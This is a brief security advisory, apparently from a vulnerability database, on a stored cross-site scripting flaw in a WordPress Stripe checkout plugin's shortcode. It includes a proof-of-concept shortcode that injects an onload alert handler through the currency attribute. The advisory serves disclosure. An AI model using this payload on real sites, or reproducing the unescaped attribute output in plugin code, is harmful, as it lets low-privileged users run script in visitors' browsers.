The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks

As a contributor, put the following shortcode in a page/post

[wp_stripe_checkout item_name='test' amount='1' currency='" onload=alert(/XSS/) "']

The XSS will be triggered when viewing/previewing the page/post
